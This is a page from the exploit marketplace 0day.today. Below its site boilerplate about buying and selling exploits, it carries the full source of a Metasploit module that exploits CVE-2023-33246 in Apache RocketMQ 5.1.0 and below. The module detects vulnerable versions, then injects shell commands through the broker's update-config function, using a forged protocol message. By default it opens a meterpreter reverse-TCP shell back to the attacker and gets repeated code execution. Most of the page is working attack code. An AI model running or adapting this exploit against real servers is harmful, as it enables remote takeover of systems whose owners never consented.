0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Apache RocketMQ 5.1.0 Arbitrary Code Injection Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Auxiliary::Rocketmq prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Apache RocketMQ update config RCE', 'Description' => %q{ RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code Injection. Broker component of RocketMQ is leaked on the extranet and lack permission verification. An attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. }, 'Author' => [ 'Malayke', # PoC 'jheysel-r7', # module - RCE portion 'h00die', # module - Version detection & parsing ], 'References' => [ [ 'URL', 'https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT#usage-examples'], [ 'CVE', '2023-33246'] ], 'License' => MSF_LICENSE, 'Platform' => %w[unix linux], 'Privileged' => false, 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Automatic (Unix In-Memory)', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' }, 'Type' => :nix_memory } ], ], 'Payload' => { 'BadChars' => "\x27" }, 'DefaultOptions' => { 'WfsDelay' => 60 }, 'DefaultTarget' => 0, 'DisclosureDate' => '2023-05-23', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptPort.new('RPORT', [true, 'The RocketMQ NameServer port', 9876]), OptPort.new('BROKER_PORT', [false, 'The RocketMQ Broker port. If left unset the module will attempt to retrieve the Broker port from the NameServer response (recommended)', 10911]) ] ) end def check @version_request_response = send_version_request @parsed_data = parse_rocketmq_data(@version_request_response) return Exploit::CheckCode::Unknown('RocketMQ did not respond to the request for version information') unless @parsed_data['version'] version = Rex::Version.new(@parsed_data['version'].gsub('V', '')) return Exploit::CheckCode::Unknown('Unable to determine the version') unless version if version > Rex::Version.new('5.0.0') return Exploit::CheckCode::Appears("RocketMQ version: #{version}") if version <= Rex::Version.new('5.1.0') elsif version <= Rex::Version.new('4.9.5') return Exploit::CheckCode::Appears("RocketMQ version: #{version}") end Exploit::CheckCode::Safe("RocketMQ version: #{version}") end def execute_command(cmd, opts = {}) data = '`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1 rocketmqHome=' + cmd.encode('UTF-8') + "\x3b\x0a" header = [data.length + 3].pack('N') + "\x00\x00\x00" payload = header + data begin vprint_status("Payload command to be executed: #{cmd}") sock = connect(true, { 'RHOST' => datastore['RHOST'], 'RPORT' => opts[:broker_port].to_i }) vprint_status("Payload is #{data}") sock.put(payload) rescue Rex::ConnectionError, ::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e fail_with(Failure::Unreachable, "Unable to connect: #{e.class} #{e.message}") end end def on_new_session(session) print_status('Removing the payload from where it was injected into $ROCKETMQ_HOME. The FilterServerManager class will execute the payload every 30 seconds until this is reverted') if session.type == 'meterpreter' pwd = session.fs.dir.pwd else pwd = session.shell_command_token('pwd') end # The session returned by the exploit spawns inside $ROCKETMQ_HOME/bin pwd.gsub!('/bin', '') print_good("Determined the original $ROCKETMQ_HOME: #{pwd}") print_status('Re-running the exploit in order to reset the proper $ROCKETMQ_HOME value') execute_command(pwd, { broker_port: @broker_port }) end def exploit @version_request_response ||= send_version_request @parsed_data ||= parse_rocketmq_data(@version_request_response) @broker_port = get_broker_port(@parsed_data, datastore['rhost'], default_broker_port: datastore['BROKER_PORT']) print_status("Executing target: #{target.name} with payload #{datastore['PAYLOAD']} on Broker port: #{@broker_port}") execute_command("-c $@|sh . echo bash -c '#{payload.encoded}'", { broker_port: @broker_port }) end end # 0day.today [2024-09-28] #